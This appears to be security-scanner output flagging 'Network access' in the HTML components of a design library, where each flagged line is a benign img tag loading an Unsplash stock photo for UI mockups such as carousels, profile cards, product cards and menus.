    <li><button type="button" class="odl-item" aria-label="Resume Night Station, episode 7, 41 minutes left"><span class="odl-art"><img src="https://images.unsplash.com/photo-1617195737496-bc30194e3a19?w=640&h=360&fit=crop&auto=format&q=70" alt
  • Network accessline 59
    <li><button type="button" class="odl-item" aria-label="Resume The Copper Canyon, film, 1 hour 12 minutes left"><span class="odl-art"><img src="https://images.unsplash.com/photo-1500530855697-b586d89ba3ee?w=640&h=360&fit=crop&auto=format&q=7
  • Network accessline 60
    <li><button type="button" class="odl-item" aria-label="Resume The Lone Elm, season 1 episode 2, 9 minutes left"><span class="odl-art"><img src="https://images.unsplash.com/photo-1707340733209-d8adf5ad25e6?w=640&h=360&fit=crop&auto=format&q=
  • Network accessline 61
    <li><button type="button" class="odl-item" aria-label="Resume Coldspring Line, season 3 episode 1, 48 minutes left"><span class="odl-art"><img src="https://images.unsplash.com/photo-1589194837853-340f4a2f6559?w=640&h=360&fit=crop&auto=forma
  • Network accessline 65
    <div class="odl-top"><h3 id="odl-ms-bw"><em>Because you watched</em> Fogbound</h3><div class="odl-nav"><button type="button" class="odl-prev" aria-label="Scroll Because you watched back"><svg class="odl-i odl-i-left" viewBox="0 0 24 24" fil
  • Network accessline 66
    <ul aria-labelledby="odl-ms-bw" tabindex="0">       <li><button type="button" class="odl-item" aria-label="Long Road North, new episodes"><span class="odl-art"><img src="https://images.unsplash.com/photo-1494783367193-149034c05e8f?w=400&h=6
  • Network accessline 67
    <li><button type="button" class="odl-item" aria-label="Long Road North, new episodes"><span class="odl-art"><img src="https://images.unsplash.com/photo-1494783367193-149034c05e8f?w=400&h=600&fit=crop&auto=format&q=70" alt="A lone road headi
  • Network accessline 68
    <li><button type="button" class="odl-item" aria-label="Ember Valley"><span class="odl-art"><img src="https://images.unsplash.com/photo-1625851823298-70d1151f5b71?w=400&h=600&fit=crop&auto=format&q=70" alt="Silhouettes around a bonfire at ni
  • Network accessline 69
    <li><button type="button" class="odl-item" aria-label="Night Corridor, film"><span class="odl-art"><img src="https://images.unsplash.com/photo-1608126199278-50a5f584dbdd?w=400&h=600&fit=crop&auto=format&q=70" alt="A silhouette walking down 
  • Network accessline 70
    <li><button type="button" class="odl-item" aria-label="Dust Country"><span class="odl-art"><img src="https://images.unsplash.com/photo-1547235001-d703406d3f17?w=400&h=600&fit=crop&auto=format&q=70" alt="A dusty desert valley" width="200" he
  • Network accessline 71
    <li><button type="button" class="odl-item" aria-label="Neon Rain, new season"><span class="odl-art"><img src="https://images.unsplash.com/photo-1601042879364-f3947d3f9c16?w=400&h=600&fit=crop&auto=format&q=70" alt="A wet street at night wit
  • Network accessline 72
    <li><button type="button" class="odl-item" aria-label="Encore"><span class="odl-art"><img src="https://images.unsplash.com/photo-1470229722913-7c0e2dbbafd3?w=400&h=600&fit=crop&auto=format&q=70" alt="Stage lights over an audience" width="20

skills/opendesigner/assets/library/components/member-list/component.html

  • Network accessline 70
    <ul aria-label="Members of Quenwick Mutual">     <li>       <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1604072366595-e75dc92d6bdc?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" hei
  • Network accessline 71
    <li>       <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1604072366595-e75dc92d6bdc?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">        
  • Network accessline 72
    <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1604072366595-e75dc92d6bdc?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 76
    </li>     <li>       <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1535713875002-d1d0cf377fde?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async
  • Network accessline 77
    <li>       <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1535713875002-d1d0cf377fde?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">        
  • Network accessline 78
    <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1535713875002-d1d0cf377fde?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 83
    </li>     <li>       <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1500648767791-00dcc994a43e?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async
  • Network accessline 84
    <li>       <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1500648767791-00dcc994a43e?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">        
  • Network accessline 85
    <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1500648767791-00dcc994a43e?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 90
    </li>     <li>       <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1681097561932-36d0df02b379?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async
  • Network accessline 91
    <li>       <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1681097561932-36d0df02b379?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">        
  • Network accessline 92
    <div class="odl-who"><img class="odl-avatar" src="https://images.unsplash.com/photo-1681097561932-36d0df02b379?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/menu-item/component.html

  • Network accessline 84
    <form aria-labelledby="odl-mi-title" data-base="14.50">     <div class="odl-photo">       <img src="https://images.unsplash.com/photo-1546069901-ba9599a7e63c?w=896&h=560&fit=crop&auto=format&q=70" alt="A grain bowl with vegetables and slice
  • Network accessline 85
    <div class="odl-photo">       <img src="https://images.unsplash.com/photo-1546069901-ba9599a7e63c?w=896&h=560&fit=crop&auto=format&q=70" alt="A grain bowl with vegetables and sliced chicken" width="448" height="280" loading="lazy" decoding=
  • Network accessline 86
    <img src="https://images.unsplash.com/photo-1546069901-ba9599a7e63c?w=896&h=560&fit=crop&auto=format&q=70" alt="A grain bowl with vegetables and sliced chicken" width="448" height="280" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/music-player/component.html

  • Network accessline 68
    <div class="odl-card">     <div class="odl-top">       <img class="odl-art" src="https://images.unsplash.com/photo-1708778002531-5bb1c27c4ea3?w=224&h=224&fit=crop&auto=format&q=70" alt="" width="112" height="112" loading="lazy" decoding="as
  • Network accessline 69
    <div class="odl-top">       <img class="odl-art" src="https://images.unsplash.com/photo-1708778002531-5bb1c27c4ea3?w=224&h=224&fit=crop&auto=format&q=70" alt="" width="112" height="112" loading="lazy" decoding="async">       <div class="odl
  • Network accessline 70
    <img class="odl-art" src="https://images.unsplash.com/photo-1708778002531-5bb1c27c4ea3?w=224&h=224&fit=crop&auto=format&q=70" alt="" width="112" height="112" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/notification-inbox/component.html

  • Network accessline 67
    <ul aria-labelledby="odl-ni-today">       <li class="odl-row is-unread" data-kind="mention" tabindex="0">         <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1438761681033-6461ffad8d80?w=64&h=
  • Network accessline 68
    <li class="odl-row is-unread" data-kind="mention" tabindex="0">         <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1438761681033-6461ffad8d80?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" a
  • Network accessline 69
    <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1438761681033-6461ffad8d80?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 76
    </li>       <li class="odl-row is-unread" data-kind="approval" tabindex="0">         <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1725033489648-a819750348eb?w=64&h=64&fit=crop&crop=faces&auto=f
  • Network accessline 77
    <li class="odl-row is-unread" data-kind="approval" tabindex="0">         <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1725033489648-a819750348eb?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" 
  • Network accessline 78
    <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1725033489648-a819750348eb?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 85
    </li>       <li class="odl-row is-unread" data-kind="mention" tabindex="0">         <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1506794778202-cad84cf45f1d?w=64&h=64&fit=crop&crop=faces&auto=fo
  • Network accessline 86
    <li class="odl-row is-unread" data-kind="mention" tabindex="0">         <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1506794778202-cad84cf45f1d?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" a
  • Network accessline 87
    <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1506794778202-cad84cf45f1d?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 102
    </li>       <li class="odl-row" data-kind="approval" tabindex="0">         <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=64&h=64&fit=crop&crop=faces&auto=format&q=70
  • Network accessline 103
    <li class="odl-row" data-kind="approval" tabindex="0">         <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" wid
  • Network accessline 104
    <span class="odl-dot"></span><img class="odl-avatar" src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/order-summary/component.html

  • Network accessline 92
    <ul>       <li class="odl-item" data-price="28" data-unit="cup" data-units="cups">         <span class="odl-thumb"><img src="https://images.unsplash.com/photo-1782351076283-73aa35f76058?w=144&h=144&fit=crop&auto=format&q=70" alt="Speckled g
  • Network accessline 93
    <li class="odl-item" data-price="28" data-unit="cup" data-units="cups">         <span class="odl-thumb"><img src="https://images.unsplash.com/photo-1782351076283-73aa35f76058?w=144&h=144&fit=crop&auto=format&q=70" alt="Speckled green stonew
  • Network accessline 94
    <span class="odl-thumb"><img src="https://images.unsplash.com/photo-1782351076283-73aa35f76058?w=144&h=144&fit=crop&auto=format&q=70" alt="Speckled green stoneware cup" width="72" height="72" loading="lazy" decoding="async"></span>
  • Network accessline 102
    </li>       <li class="odl-item" data-price="96" data-unit="lamp" data-units="lamps">         <span class="odl-thumb"><img src="https://images.unsplash.com/photo-1570974802254-4b0ad1a755f5?w=144&h=144&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=
  • Network accessline 103
    <li class="odl-item" data-price="96" data-unit="lamp" data-units="lamps">         <span class="odl-thumb"><img src="https://images.unsplash.com/photo-1570974802254-4b0ad1a755f5?w=144&h=144&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.55&fp-z=1&
  • Network accessline 104
    <span class="odl-thumb"><img src="https://images.unsplash.com/photo-1570974802254-4b0ad1a755f5?w=144&h=144&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.55&fp-z=1&auto=format&q=70" alt="Cream metal gooseneck desk lamp" width="72" height="72" loa

skills/opendesigner/assets/library/components/page-header-tabs/component.html

  • Network accessline 108
    </div>       <ul class="odl-meta" aria-label="Summary">         <li><img src="https://images.unsplash.com/photo-1601412436009-d964bd02edbc?w=48&h=48&fit=crop&auto=format&q=70" alt="" width="24" height="24" loading="lazy" decoding="async"><s
  • Network accessline 109
    <ul class="odl-meta" aria-label="Summary">         <li><img src="https://images.unsplash.com/photo-1601412436009-d964bd02edbc?w=48&h=48&fit=crop&auto=format&q=70" alt="" width="24" height="24" loading="lazy" decoding="async"><span>Owner <b>
  • Network accessline 110
    <li><img src="https://images.unsplash.com/photo-1601412436009-d964bd02edbc?w=48&h=48&fit=crop&auto=format&q=70" alt="" width="24" height="24" loading="lazy" decoding="async"><span>Owner <b>Paloma Etxeberria</b></span></li>

skills/opendesigner/assets/library/components/podcast-episodes/component.html

  • Network accessline 54
    <div class="odl-card">     <header class="odl-head">       <img class="odl-art" src="https://images.unsplash.com/photo-1478737270239-2f02b77fc618?w=240&h=240&fit=crop&auto=format&q=70" alt="Show art: a studio microphone close-up" width="120
  • Network accessline 55
    <header class="odl-head">       <img class="odl-art" src="https://images.unsplash.com/photo-1478737270239-2f02b77fc618?w=240&h=240&fit=crop&auto=format&q=70" alt="Show art: a studio microphone close-up" width="120" height="120" loading="laz
  • Network accessline 56
    <img class="odl-art" src="https://images.unsplash.com/photo-1478737270239-2f02b77fc618?w=240&h=240&fit=crop&auto=format&q=70" alt="Show art: a studio microphone close-up" width="120" height="120" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/product-card/component.html

  • Network accessline 60
    <div class="odl-card">     <div class="odl-cover">       <img src="https://images.unsplash.com/photo-1605733513597-a8f8341084e6?w=720&h=576&fit=crop&auto=format&q=70" alt="Grey leather satchel on a white surface" width="360" height="288" lo
  • Network accessline 61
    <div class="odl-cover">       <img src="https://images.unsplash.com/photo-1605733513597-a8f8341084e6?w=720&h=576&fit=crop&auto=format&q=70" alt="Grey leather satchel on a white surface" width="360" height="288" loading="lazy" decoding="asyn
  • Network accessline 62
    <img src="https://images.unsplash.com/photo-1605733513597-a8f8341084e6?w=720&h=576&fit=crop&auto=format&q=70" alt="Grey leather satchel on a white surface" width="360" height="288" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/product-gallery/component.html

  • Network accessline 107
    <div class="odl-stage">         <div class="odl-track" tabindex="0" aria-label="Photos, 1 of 3" role="group">           <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=1200&h=1500&fit=crop&
  • Network accessline 108
    <div class="odl-track" tabindex="0" aria-label="Photos, 1 of 3" role="group">           <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=1200&h=1500&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.
  • Network accessline 109
    <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=1200&h=1500&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.62&fp-z=2.2&auto=format&q=70" alt="White crew-neck tee on a hanger, front" width="600" h
  • Network accessline 110
    <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=1200&h=1500&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.5&fp-z=3.2&auto=format&q=70" alt="Close-up of the ribbed collar and cotton" width="600" 
  • Network accessline 111
    <figure class="odl-slide"><img src="https://images.unsplash.com/photo-1651761179569-4ba2aa054997?w=1200&h=1500&fit=crop&auto=format&q=70" alt="White crew-neck tee laid flat" width="600" height="750" loading="lazy" decoding="async"></figure>
  • Network accessline 118
    </div>       <div class="odl-thumbs">         <button type="button" class="odl-thumb" aria-label="Show front" aria-current="true"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=160&h=200&fit=crop&crop=focalpoint&fp
  • Network accessline 119
    <div class="odl-thumbs">         <button type="button" class="odl-thumb" aria-label="Show front" aria-current="true"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=160&h=200&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0
  • Network accessline 120
    <button type="button" class="odl-thumb" aria-label="Show front" aria-current="true"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=160&h=200&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.62&fp-z=2.2&auto=format&q=70" al
  • Network accessline 121
    <button type="button" class="odl-thumb" aria-label="Show close up"><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=160&h=200&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.5&fp-z=3.2&auto=format&q=70" alt="" width="80" he
  • Network accessline 122
    <button type="button" class="odl-thumb" aria-label="Show flat"><img src="https://images.unsplash.com/photo-1651761179569-4ba2aa054997?w=160&h=200&fit=crop&auto=format&q=70" alt="" width="80" height="100" loading="lazy" decoding="async"></bu

skills/opendesigner/assets/library/components/profile-card/component.html

  • Network accessline 51
    </style> <article class="odl-profile-card" aria-label="Profile of Margaux Lefèvre">   <img class="odl-band" src="https://images.unsplash.com/photo-1578771792482-1e7eb2b8b447?w=832&h=224&fit=crop&auto=format&q=70" alt="" width="416" height="
  • Network accessline 52
    <article class="odl-profile-card" aria-label="Profile of Margaux Lefèvre">   <img class="odl-band" src="https://images.unsplash.com/photo-1578771792482-1e7eb2b8b447?w=832&h=224&fit=crop&auto=format&q=70" alt="" width="416" height="112" load
  • Network accessline 53
    <img class="odl-band" src="https://images.unsplash.com/photo-1578771792482-1e7eb2b8b447?w=832&h=224&fit=crop&auto=format&q=70" alt="" width="416" height="112" loading="lazy" decoding="async">
  • Network accessline 55
    <header class="odl-who">     <div class="odl-top">       <img class="odl-avatar" src="https://images.unsplash.com/photo-1521146764736-56c929d59c83?w=160&h=160&fit=crop&crop=faces&auto=format&q=70" alt="Margaux Lefèvre" width="80" height="80
  • Network accessline 56
    <div class="odl-top">       <img class="odl-avatar" src="https://images.unsplash.com/photo-1521146764736-56c929d59c83?w=160&h=160&fit=crop&crop=faces&auto=format&q=70" alt="Margaux Lefèvre" width="80" height="80" loading="lazy" decoding="as
  • Network accessline 57
    <img class="odl-avatar" src="https://images.unsplash.com/photo-1521146764736-56c929d59c83?w=160&h=160&fit=crop&crop=faces&auto=format&q=70" alt="Margaux Lefèvre" width="80" height="80" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/profile-hero/component.html

  • Network accessline 66
    <section class="odl-profile-hero" aria-labelledby="odl-ph-name">   <div class="odl-card">     <div class="odl-cover"><img src="https://images.unsplash.com/photo-1609194246158-702022cc4f13?w=1408&h=400&fit=crop&auto=format&q=70" alt="Cover p
  • Network accessline 67
    <div class="odl-card">     <div class="odl-cover"><img src="https://images.unsplash.com/photo-1609194246158-702022cc4f13?w=1408&h=400&fit=crop&auto=format&q=70" alt="Cover photo: a city skyline at sunset" width="704" height="200" loading="l
  • Network accessline 68
    <div class="odl-cover"><img src="https://images.unsplash.com/photo-1609194246158-702022cc4f13?w=1408&h=400&fit=crop&auto=format&q=70" alt="Cover photo: a city skyline at sunset" width="704" height="200" loading="lazy" decoding="async"></div
  • Network accessline 69
    <div class="odl-body">       <span class="odl-ring" aria-hidden="true"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1705645930353-0e335311ef20?w=192&h=192&fit=crop&auto=format&q=70" alt="" width="96" heig
  • Network accessline 70
    <span class="odl-ring" aria-hidden="true"><span class="odl-gap"><img class="odl-av" src="https://images.unsplash.com/photo-1705645930353-0e335311ef20?w=192&h=192&fit=crop&auto=format&q=70" alt="" width="96" height="96" loading="lazy" decodi
  • Network accessline 72
    <p class="odl-handle"><span>@rafal.makes</span><span class="odl-tag">he/him</span><span class="odl-tag">Photographer</span></p></div>       <div class="odl-bio"><p>Chasing blue hour on rooftops. Film on weekends, ceramics on Tuesdays. Print
  • Network accessline 73
    <div class="odl-bio"><p>Chasing blue hour on rooftops. Film on weekends, ceramics on Tuesdays. Prints ship in spring.</p>         <p><a class="odl-link" href="https://rafal.example/prints"><svg viewBox="0 0 24 24" fill="none" stroke="curren
  • Network accessline 74
    <p><a class="odl-link" href="https://rafal.example/prints"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.0
  • Network accessline 84
    </div>       <ul class="odl-hl" aria-label="Highlights">         <li><button type="button"><span class="odl-cv" aria-hidden="true"><img src="https://images.unsplash.com/photo-1512531123205-560f5974e686?w=128&h=128&fit=crop&auto=format&q=70"
  • Network accessline 85
    <ul class="odl-hl" aria-label="Highlights">         <li><button type="button"><span class="odl-cv" aria-hidden="true"><img src="https://images.unsplash.com/photo-1512531123205-560f5974e686?w=128&h=128&fit=crop&auto=format&q=70" alt="" width
  • Network accessline 86
    <li><button type="button"><span class="odl-cv" aria-hidden="true"><img src="https://images.unsplash.com/photo-1512531123205-560f5974e686?w=128&h=128&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"></
  • Network accessline 87
    <li><button type="button"><span class="odl-cv" aria-hidden="true"><img src="https://images.unsplash.com/photo-1578429827733-272eb6d7972e?w=128&h=128&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"></
  • Network accessline 88
    <li><button type="button"><span class="odl-cv" aria-hidden="true"><img src="https://images.unsplash.com/photo-1520485521983-bfaa0bc6c80e?w=128&h=128&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"></
  • Network accessline 89
    <li><button type="button"><span class="odl-cv" aria-hidden="true"><img src="https://images.unsplash.com/photo-1559310589-2673bfe16970?w=128&h=128&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"></spa

skills/opendesigner/assets/library/components/quiz-question/component.html

  • Network accessline 81
    <h3 id="odl-qq-q">Which gas do plants take in from the air to make their food?</h3>       </div>       <img class="odl-pic" src="https://images.unsplash.com/photo-1545239705-1564e58b9e4a?w=960&h=480&fit=crop&auto=format&q=70" alt="A leafy g
  • Network accessline 82
    </div>       <img class="odl-pic" src="https://images.unsplash.com/photo-1545239705-1564e58b9e4a?w=960&h=480&fit=crop&auto=format&q=70" alt="A leafy green plant in a white pot" width="960" height="480" loading="lazy" decoding="async">      
  • Network accessline 83
    <img class="odl-pic" src="https://images.unsplash.com/photo-1545239705-1564e58b9e4a?w=960&h=480&fit=crop&auto=format&q=70" alt="A leafy green plant in a white pot" width="960" height="480" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/restaurant-card/component.html

  • Network accessline 53
    <li>         <div class="odl-cover">           <img src="https://images.unsplash.com/photo-1583354608715-177553a4035e?w=720&h=450&fit=crop&auto=format&q=70" alt="A café with a white round table and chairs" width="360" height="225" loading="
  • Network accessline 54
    <div class="odl-cover">           <img src="https://images.unsplash.com/photo-1583354608715-177553a4035e?w=720&h=450&fit=crop&auto=format&q=70" alt="A café with a white round table and chairs" width="360" height="225" loading="lazy" decodin
  • Network accessline 55
    <img src="https://images.unsplash.com/photo-1583354608715-177553a4035e?w=720&h=450&fit=crop&auto=format&q=70" alt="A café with a white round table and chairs" width="360" height="225" loading="lazy" decoding="async">
  • Network accessline 65
    <li>         <div class="odl-cover">           <img src="https://images.unsplash.com/photo-1512621776951-a57141f2eefd?w=720&h=450&fit=crop&auto=format&q=70" alt="A bowl of mixed vegetable salad" width="360" height="225" loading="lazy" decod
  • Network accessline 66
    <div class="odl-cover">           <img src="https://images.unsplash.com/photo-1512621776951-a57141f2eefd?w=720&h=450&fit=crop&auto=format&q=70" alt="A bowl of mixed vegetable salad" width="360" height="225" loading="lazy" decoding="async"> 
  • Network accessline 67
    <img src="https://images.unsplash.com/photo-1512621776951-a57141f2eefd?w=720&h=450&fit=crop&auto=format&q=70" alt="A bowl of mixed vegetable salad" width="360" height="225" loading="lazy" decoding="async">
  • Network accessline 77
    <li>         <div class="odl-cover">           <img src="https://images.unsplash.com/photo-1569718212165-3a8278d5f624?w=720&h=450&fit=crop&auto=format&q=70" alt="A bowl of ramen with a soft egg" width="360" height="225" loading="lazy" decod
  • Network accessline 78
    <div class="odl-cover">           <img src="https://images.unsplash.com/photo-1569718212165-3a8278d5f624?w=720&h=450&fit=crop&auto=format&q=70" alt="A bowl of ramen with a soft egg" width="360" height="225" loading="lazy" decoding="async"> 
  • Network accessline 79
    <img src="https://images.unsplash.com/photo-1569718212165-3a8278d5f624?w=720&h=450&fit=crop&auto=format&q=70" alt="A bowl of ramen with a soft egg" width="360" height="225" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/review-summary/component.html

  • Network accessline 114
    </div>       <article data-photos="1" data-verified="1" data-rating="5">         <div class="odl-who"><img class="odl-av" src="https://images.unsplash.com/photo-1699899657680-421c2c2d5064?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="9
  • Network accessline 115
    <article data-photos="1" data-verified="1" data-rating="5">         <div class="odl-who"><img class="odl-av" src="https://images.unsplash.com/photo-1699899657680-421c2c2d5064?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height="96
  • Network accessline 116
    <div class="odl-who"><img class="odl-av" src="https://images.unsplash.com/photo-1699899657680-421c2c2d5064?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height="96" loading="lazy" decoding="async"><div><p class="odl-name">Solveig A
  • Network accessline 119
    <p class="odl-text">Heavier cotton than I expected, which I like. It keeps its shape after washing and the collar hasn't stretched.</p>         <div class="odl-photos">           <button type="button" aria-label="Photo 1 from Solveig A."><i
  • Network accessline 120
    <div class="odl-photos">           <button type="button" aria-label="Photo 1 from Solveig A."><img src="https://images.unsplash.com/photo-1651761179569-4ba2aa054997?w=192&h=192&fit=crop&auto=format&q=70" alt="" width="192" height="192" load
  • Network accessline 121
    <button type="button" aria-label="Photo 1 from Solveig A."><img src="https://images.unsplash.com/photo-1651761179569-4ba2aa054997?w=192&h=192&fit=crop&auto=format&q=70" alt="" width="192" height="192" loading="lazy" decoding="async"></butto
  • Network accessline 122
    <button type="button" aria-label="Photo 2 from Solveig A."><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=192&h=192&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.62&fp-z=2.2&auto=format&q=70" alt="" width="192" height="
  • Network accessline 123
    <button type="button" aria-label="Photo 3 from Solveig A."><img src="https://images.unsplash.com/photo-1581655353564-df123a1eb820?w=192&h=192&fit=crop&crop=focalpoint&fp-x=0.5&fp-y=0.5&fp-z=3.2&auto=format&q=70" alt="" width="192" height="1
  • Network accessline 130
    </article>       <article data-photos="0" data-verified="0" data-rating="3">         <div class="odl-who"><img class="odl-av" src="https://images.unsplash.com/photo-1614247521228-d4184c975eff?w=96&h=96&fit=crop&auto=format&q=70" alt="" widt
  • Network accessline 131
    <article data-photos="0" data-verified="0" data-rating="3">         <div class="odl-who"><img class="odl-av" src="https://images.unsplash.com/photo-1614247521228-d4184c975eff?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height="96
  • Network accessline 132
    <div class="odl-who"><img class="odl-av" src="https://images.unsplash.com/photo-1614247521228-d4184c975eff?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height="96" loading="lazy" decoding="async"><div><p class="odl-name">Tevita R.

skills/opendesigner/assets/library/components/rewards-card/component.html

  • Network accessline 84
    <ul>         <li>           <img class="odl-ph" src="https://images.unsplash.com/photo-1490818387583-1baba5e638af?w=144&amp;h=144&amp;fit=crop&amp;crop=focalpoint&amp;fp-x=0.18&amp;fp-y=0.45&amp;fp-z=1.5&amp;auto=format&amp;q=70" alt="Slice
  • Network accessline 85
    <li>           <img class="odl-ph" src="https://images.unsplash.com/photo-1490818387583-1baba5e638af?w=144&amp;h=144&amp;fit=crop&amp;crop=focalpoint&amp;fp-x=0.18&amp;fp-y=0.45&amp;fp-z=1.5&amp;auto=format&amp;q=70" alt="Sliced fresh fruit
  • Network accessline 86
    <img class="odl-ph" src="https://images.unsplash.com/photo-1490818387583-1baba5e638af?w=144&amp;h=144&amp;fit=crop&amp;crop=focalpoint&amp;fp-x=0.18&amp;fp-y=0.45&amp;fp-z=1.5&amp;auto=format&amp;q=70" alt="Sliced fresh fruit" width="72" he
  • Network accessline 89
    </li>         <li>           <img class="odl-ph" src="https://images.unsplash.com/photo-1563311977-d285756282dc?w=144&amp;h=144&amp;fit=crop&amp;crop=focalpoint&amp;fp-x=0.8&amp;fp-y=0.72&amp;fp-z=1.4&amp;auto=format&amp;q=70" alt="Cappucci
  • Network accessline 90
    <li>           <img class="odl-ph" src="https://images.unsplash.com/photo-1563311977-d285756282dc?w=144&amp;h=144&amp;fit=crop&amp;crop=focalpoint&amp;fp-x=0.8&amp;fp-y=0.72&amp;fp-z=1.4&amp;auto=format&amp;q=70" alt="Cappuccino with latte 
  • Network accessline 91
    <img class="odl-ph" src="https://images.unsplash.com/photo-1563311977-d285756282dc?w=144&amp;h=144&amp;fit=crop&amp;crop=focalpoint&amp;fp-x=0.8&amp;fp-y=0.72&amp;fp-z=1.4&amp;auto=format&amp;q=70" alt="Cappuccino with latte art" width="72"

skills/opendesigner/assets/library/components/savings-goal/component.html

  • Network accessline 78
    <section class="odl-savings-goal" aria-labelledby="odl-sg-title">   <div class="odl-card">     <img class="odl-cover" src="https://images.unsplash.com/photo-1507525428034-b723cf961d3e?w=896&h=504&fit=crop&auto=format&q=70" alt="Beach at gol
  • Network accessline 79
    <div class="odl-card">     <img class="odl-cover" src="https://images.unsplash.com/photo-1507525428034-b723cf961d3e?w=896&h=504&fit=crop&auto=format&q=70" alt="Beach at golden hour" width="896" height="504" loading="lazy" decoding="async"> 
  • Network accessline 80
    <img class="odl-cover" src="https://images.unsplash.com/photo-1507525428034-b723cf961d3e?w=896&h=504&fit=crop&auto=format&q=70" alt="Beach at golden hour" width="896" height="504" loading="lazy" decoding="async">

